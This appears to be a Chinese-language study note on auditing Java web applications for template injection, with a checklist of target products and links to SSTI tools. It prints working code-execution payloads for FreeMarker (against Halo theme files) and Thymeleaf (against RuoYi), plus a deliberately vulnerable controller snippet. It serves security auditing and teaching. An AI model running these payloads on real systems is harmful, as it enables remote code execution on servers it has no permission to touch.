java代码审计-ssti

ssti模版注入

SSTI模版注入

1、找项目中是否存在模版引擎(类型及安全问题)

2、找模版注入利用入口条件(根据网上已知漏洞复现条件)

3、找可控地方进行测试检测(根据网上已知漏洞利用条件)

常见模版说明:见上图

参考来源:

https://github.com/Pav-ksd-pl/websitesVulnerableToSSTI

黑盒中建议判断利用:见70天内容

https://github.com/epinna/tplmap

https://github.com/vladko312/SSTImap

JavaEE审计-CheckList

1、功能点-见上图

2、搜索点-见链接

https://mp.weixin.qq.com/s/Y90mGgCqzjj0T1NX9E5wDw

https://mp.weixin.qq.com/s/COXCjMItvrcOCNcqEfbmDg

(1)国产软件

[泛微Ecology] 代码审计、安装说明

[致远Seeyon] 代码审计、补丁问题

[用友NC] 代码审计与环境搭建

[蓝凌Landray] 代码审计与环境搭建

[泛微E-Office] 代码审计与环境搭建

[帆软报表] 代码审计与环境搭建

[拓尔思TRS 内容协作平台WCM] 代码审计与环境搭建

[通达OA] 代码审计与环境搭建

[Smartbi] 代码审计与环境搭建

[RuoYi若依] 代码审计

[金山终端安全系统] 代码审计

[慧点OA] 代码审计

[浙大恩特客户资源管理系统] 代码审计

[企望制造ERP] 代码审计

(2)常见组件

[ThinkPHP] 代码审计

[Struts2] 漏洞环境下载、OGNL POC、漏洞分析

[XStream] 审计特点与POC分析

[NexusRepositoryManager] 代码审计与环境搭建

(3)Server

Jetty

Nginx

Tomcat

WebLogic

JBoss

TongWeb

PrimetonPAS

(4)数据库

mssql

mysql

H2 Database

CouchDB

ApacheSolr

ElasticSearch

InfluxDB

ApacheDruid

#FreeMarker Halo

freemarker->模板->admin/themes/editor->.ftl

<#assign value=”freemarker.template.utility.Execute”?

new()>${value(“calc.exe”)}

往index.ftl里面插入payload

<#assign value=”freemarker.template.utility.Execute”?new()> ${value(“calc.exe”)}

插入点

#Thymeleaf Ruoyi

参考:https://xz.aliyun.com/t/9826

Thymeleaf->return 可控变量->getNames->fragment->缓存监控

1
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

1
2
3
4
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}

抓包分析一下

点击一下刷新按钮抓包。

注入参数

1
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x

#Jeecg-Xxe&XSteam

xml比较少,逐渐被json取代

https://mp.weixin.qq.com/s/5hYQQBRhdoU5yxXMsDmClA

使用了第三方组件SAXReader,默认的解析方法会出现XXE 漏洞,接着查找相应控制层的代码,是否调用了该方法

#Halo- RCE&SSRF

RuntimeUtil->remoteAddr->admin/themes/clone->在线拉取主题